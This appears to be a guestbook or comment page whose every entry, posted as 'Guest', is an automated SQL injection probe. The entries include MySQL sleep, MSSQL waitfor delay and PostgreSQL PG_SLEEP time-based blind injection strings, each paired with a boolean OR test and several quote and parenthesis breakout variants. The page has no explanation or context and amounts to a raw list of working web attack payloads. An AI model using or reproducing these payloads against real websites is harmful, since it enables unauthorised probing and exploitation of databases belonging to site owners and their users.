(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
-1 OR 2+619-619-1=0+0+0+1 -- 
-1; waitfor delay '0:0:15' --

Guest:
-1 OR 2+619-619-1=0+0+0+1 -- 
-1); waitfor delay '0:0:15' --

Guest:
-1 OR 2+619-619-1=0+0+0+1 -- 
-1 waitfor delay '0:0:15' --

Guest:
-1 OR 2+619-619-1=0+0+0+1 -- 
E4TZmvqU'; waitfor delay '0:0:15' --

Guest:
-1 OR 2+619-619-1=0+0+0+1 -- 
aWN6L3U7'); waitfor delay '0:0:15' --

Guest:
-1 OR 2+619-619-1=0+0+0+1 -- 
OqD0mp7v')); waitfor delay '0:0:15' --

Guest:
-1 OR 2+619-619-1=0+0+0+1 -- 
SIJiEJn0' OR 382=(SELECT 382 FROM PG_SLEEP(15))--

Guest:
-1 OR 2+619-619-1=0+0+0+1 -- 
s6dSZWe7') OR 615=(SELECT 615 FROM PG_SLEEP(15))--

Guest:
-1 OR 2+619-619-1=0+0+0+1 -- 
QSSCcULT')) OR 859=(SELECT 859 FROM PG_SLEEP(15))--